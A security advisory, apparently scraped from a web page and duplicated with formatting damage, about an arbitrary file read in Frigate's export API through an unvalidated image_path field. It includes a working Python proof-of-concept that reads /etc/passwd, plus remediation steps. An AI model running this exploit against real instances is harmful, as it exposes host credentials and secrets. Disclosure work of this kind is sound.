Important: Exploiting this vulnerability requires the attacker to have access to your Frigate instance, which means they could also just delete all of your recordings or perform any other action. If you have configured authentication in front of Frigate via a reverse proxy, then this vulnerability is not exploitable without first getting around your authentication method. For many obvious reasons in addition to this one, please don't expose your Frigate instance publicly without any kind of authentication.
Executive Summary
Frigate's export workflow allows an authenticated operator to nominate any filesystem location as the thumbnail source for a video export. Because that path is copied verbatim into the publicly served clips directory, the feature can be abused to read arbitrary files that reside on the host running Frigate. In practice, a low-privilege user with API access can pivot from viewing camera footage to exfiltrating sensitive configuration files, secrets, or user data from the appliance itself. This behavior violates the principle of least privilege for the export subsystem and turns a convenience feature into a direct information disclosure vector, with exploitation hinging on a short race window while the background exporter copies the chosen file into place before cleanup runs.
Technical Description
-
The FastAPI route POST /api/export/{camera_name}/start/{start_time}/end/{end_time} (frigate/api/export.py) instantiates a RecordingExporter background thread with the caller-supplied JSON payload, including the optional image_path. The RecordingExporter constructor in frigate/record/export.py stores that value in self.user_provided_image without validation. When RecordingExporter.save_thumbnail() executes (triggered as part of the export thread's run() method), it first checks os.path.isfile(self.user_provided_image); upon success, it uses shutil.copy to copy the referenced file to /media/frigate/clips/export/{export_id}.webp, a location that is web-accessible via the bundled nginx configuration. The export metadata (including thumb_path) is inserted into the export table, making the copied file reachable through /api/exports and ultimately through the /clips/export/<id>.webp static path. No path canonicalization, directory allowlisting, or privilege boundary exists between the user-controlled image_path field and the server-side filesystem, so any readable file the Frigate process can access becomes exposed. The nginx configuration (docker/main/rootfs/usr/local/nginx/conf/nginx.conf) publishes /media/frigate/clips/ with caching headers, so the copied file is immediately downloadable until the background thread deletes it. Because the copy occurs before sanitization or cleanup, even transient files such as /etc/passwd are retrievable.
-
Timing characteristics: exploitation is subject to a race because the exporter runs asynchronously. The thumbnail file is created when shutil.copy completes and remains accessible only until later logic deletes it or the export thread exits. In testing, introducing a brief polling loop (for example, waiting for in_progress to clear or sleeping 0.5–1 second) reliably captures the file; without that pause, rapid follow-up requests may occasionally see a 404 if nginx serves the path before the copy completes or after cleanup removes the artifact.
Vulnerable Code Flow
- Impact: Copies attacker-selected host files into a static web directory, resulting in direct disclosure of sensitive data (credentials, configuration, API keys) to any party with authenticated HTTP access.
- Why unintended: Neither product documentation nor in-line comments indicate that arbitrary server-side files should be exposed during export; the behavior contradicts expected export semantics, which should only handle camera-generated media.
- Complete source->sink flow (full paths with line numbers):
frigate/api/export.py:41 — Source: existing_image = body.image_path (FastAPI request body accepts unsanitized user input).
frigate/record/export.py:61 — Propagation: self.user_provided_image = image (constructor saves the raw path on the exporter instance).
frigate/record/export.py:86-92 — Sink: shutil.copy(self.user_provided_image, thumb_path) (copies the attacker-controlled path into /media/frigate/clips/export/{id}.webp).
frigate/record/export.py:347-358 — Persistence: Export.insert({... Export.thumb_path: thumb_path, ...}) (stores the web-facing path in the database row for later retrieval).
frigate/api/export.py:32-35 — Disclosure path: GET /api/exports exposes the thumb_path field to clients via JSON.
docker/main/rootfs/usr/local/nginx/conf/nginx.conf:138-156 — Static serving: nginx location /clips/ serves files from /media/frigate, making /clips/export/{id}.webp directly downloadable.
Proof of Concept
- Start Frigate in Docker for ease of setup.
- Create an account on frigate.
- exploit with PoC provided.
#!/usr/bin/env python3
import time
import requests
import urllib3
urllib3.disable_warnings()
BASE = "https://FRIGATE_HOST:8971"
USERNAME = "admin"
PASSWORD = "admin"
TARGET = "/etc/passwd" # any readable host file works
session = requests.Session()
session.verify = False
# 1. Authenticate to obtain the JWT cookie.
session.post(
f"{BASE}/api/login",
json={"user": USERNAME, "password": PASSWORD},
timeout=5,
)
# 2. Launch an export that references the sensitive file as the thumbnail.
now = int(time.time())
payload = {
"playback": "realtime",
"source": "preview",
"name": "leak",
"image_path": TARGET,
}
resp = session.post(
f"{BASE}/api/export/name_of_your_camera/start/{now-30}/end/{now}",
json=payload,
timeout=5,
)
export_id = resp.json()["export_id"]
# 3. Immediately pull the published thumbnail before the worker cleans it up.
leaked = session.get(
f"{BASE}/clips/export/{export_id}.webp",
timeout=5,
)
print(leaked.text)
Remediation
- Reject absolute paths and enforce an allowlist rooted within Frigate-managed media directories before copying.
- Prefer accepting uploaded thumbnails or references to existing Frigate assets instead of raw filesystem paths.
- If retaining
image_path, canonicalize with Path(image_path).resolve() and verify it resides in an expected directory (e.g., /media/frigate/) before copying; otherwise raise an error.
- Consider storing thumbnails outside of the web-served tree unless explicitly intended for exposure.
Credits
Enrico Masala - Security Researcher
Important: Exploiting this vulnerability requires the attacker to have access to your Frigate instance, which means they could also just delete all of your recordings or perform any other action. If you have configured authentication in front of Frigate via a reverse proxy, then this vulnerability is not exploitable without first getting around your authentication method. For many obvious reasons in addition to this one, please don't expose your Frigate instance publicly without any kind of authentication.
Executive Summary
Frigate's export workflow allows an authenticated operator to nominate any filesystem location as the thumbnail source for a video export. Because that path is copied verbatim into the publicly served clips directory, the feature can be abused to read arbitrary files that reside on the host running Frigate. In practice, a low-privilege user with API access can pivot from viewing camera footage to exfiltrating sensitive configuration files, secrets, or user data from the appliance itself. This behavior violates the principle of least privilege for the export subsystem and turns a convenience feature into a direct information disclosure vector, with exploitation hinging on a short race window while the background exporter copies the chosen file into place before cleanup runs.
Technical Description
The FastAPI route
POST /api/export/{camera_name}/start/{start_time}/end/{end_time}(frigate/api/export.py) instantiates aRecordingExporterbackground thread with the caller-supplied JSON payload, including the optionalimage_path. TheRecordingExporterconstructor infrigate/record/export.pystores that value inself.user_provided_imagewithout validation. WhenRecordingExporter.save_thumbnail()executes (triggered as part of the export thread'srun()method), it first checksos.path.isfile(self.user_provided_image); upon success, it usesshutil.copyto copy the referenced file to/media/frigate/clips/export/{export_id}.webp, a location that is web-accessible via the bundled nginx configuration. The export metadata (includingthumb_path) is inserted into theexporttable, making the copied file reachable through/api/exportsand ultimately through the/clips/export/<id>.webpstatic path. No path canonicalization, directory allowlisting, or privilege boundary exists between the user-controlledimage_pathfield and the server-side filesystem, so any readable file the Frigate process can access becomes exposed. The nginx configuration (docker/main/rootfs/usr/local/nginx/conf/nginx.conf) publishes/media/frigate/clips/with caching headers, so the copied file is immediately downloadable until the background thread deletes it. Because the copy occurs before sanitization or cleanup, even transient files such as/etc/passwdare retrievable.Timing characteristics: exploitation is subject to a race because the exporter runs asynchronously. The thumbnail file is created when
shutil.copycompletes and remains accessible only until later logic deletes it or the export thread exits. In testing, introducing a brief polling loop (for example, waiting forin_progressto clear or sleeping 0.5–1 second) reliably captures the file; without that pause, rapid follow-up requests may occasionally see a 404 if nginx serves the path before the copy completes or after cleanup removes the artifact.Vulnerable Code Flow
frigate/api/export.py:41— Source:existing_image = body.image_path(FastAPI request body accepts unsanitized user input).frigate/record/export.py:61— Propagation:self.user_provided_image = image(constructor saves the raw path on the exporter instance).frigate/record/export.py:86-92— Sink:shutil.copy(self.user_provided_image, thumb_path)(copies the attacker-controlled path into/media/frigate/clips/export/{id}.webp).frigate/record/export.py:347-358— Persistence:Export.insert({... Export.thumb_path: thumb_path, ...})(stores the web-facing path in the database row for later retrieval).frigate/api/export.py:32-35— Disclosure path:GET /api/exportsexposes thethumb_pathfield to clients via JSON.docker/main/rootfs/usr/local/nginx/conf/nginx.conf:138-156— Static serving: nginxlocation /clips/serves files from/media/frigate, making/clips/export/{id}.webpdirectly downloadable.Proof of Concept
Remediation
image_path, canonicalize withPath(image_path).resolve()and verify it resides in an expected directory (e.g.,/media/frigate/) before copying; otherwise raise an error.Credits
Enrico Masala - Security Researcher